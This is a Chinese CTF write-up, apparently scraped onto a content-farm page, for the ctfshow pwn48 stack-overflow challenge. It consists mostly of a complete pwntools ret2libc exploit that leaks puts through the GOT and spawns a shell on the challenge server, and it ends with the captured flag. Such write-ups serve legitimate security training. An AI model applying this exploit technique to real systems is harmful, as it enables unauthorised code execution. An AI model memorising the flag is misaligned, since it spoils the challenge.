当前位置: 首页 > news >正文

CTFshow-PWN-栈溢出(pwn48)

32 位程序

无 system 无 /bin/sh

主函数 

存在栈溢出

打 ret2libc

利用 puts 函数泄露真实地址

没什么说的,直接写 exp 吧

# @author:My6n
# @time:20250609
from pwn import *
from LibcSearcher import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28301)
elf = ELF('./pwn')offset = 0x6b+4
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
ctfshow_addr = elf.symbols['ctfshow']payload1 = flat(cyclic(offset),puts_plt_addr,ctfshow_addr,puts_got_addr)io.sendlineafter('O.o?\n',payload1)puts_addr = u32(io.recv()[:4])libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')payload2 = cyclic(offset) + p32(system_addr) + p32(1) + p32(bin_sh_addr)io.sendline(payload2)io.interactive()

拿到 flag:ctfshow{2ee388a2-d14f-42c1-9e67-1b45838f7238} 

http://www.xdnf.cn/news/952381.html

相关文章:

  • 【深度学习新浪潮】大模型中,active parameters和total parameters都是什么?
  • “扛不住了就排队!”——聊聊消息队列在高并发系统中的那些硬核用途
  • STM32使用旋转电位器自制调光灯
  • 麒麟系统编译安装QtCreator
  • 01__C++入门
  • 根据万维钢·精英日课6的内容,使用AI(2025)可以参考以下方法:
  • 从零手写Java版本的LSM Tree (五):布隆过滤器
  • CppCon 2015 学习:Transducers, from Clojure to C++
  • 蓝桥杯第十届国B 质数拆分
  • 深入解析 ReentrantLock:原理、公平锁与非公平锁的较量
  • DreamO字节开源图像编辑框架
  • IDC智能机房整体解决方案
  • 华为云Flexus+DeepSeek征文|基于华为云一键部署Dify平台,接入DeepSeek大模型,构建数据可视化助手应用实战指南
  • ubuntu22.04 安装docker 和docker-compose
  • windows系统MySQL安装文档
  • 【深度学习新浪潮】什么是credit assignment problem?
  • 编程工具点亮效率之光
  • 九、MySQL执行原理
  • OPenCV CUDA模块光流处理------利用Nvidia GPU的硬件加速能力来计算光流类cv::cuda::NvidiaHWOpticalFlow
  • 【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
  • MAZANOKE结合内网穿透技术实现跨地域图像优化服务的远程访问过程
  • 零基础设计模式——行为型模式 - 命令模式
  • 使用地球观测数据优化云到 GPU 的吞吐量以进行深度学习
  • rm视觉学习1-自瞄部分
  • 使用python进行图像处理—图像标识与NumPy(3)
  • 【PDF识别改名】PDF指定区域OCR识别重命名工具使用教程和注意事项
  • 前缀和题目:寻找数组的中心下标
  • NoSQL 之 Redis 集群
  • JS红宝书笔记 10.6 - 10.10 函数
  • 树莓派超全系列教程文档--(60)树莓派摄像头操作命令及使用其一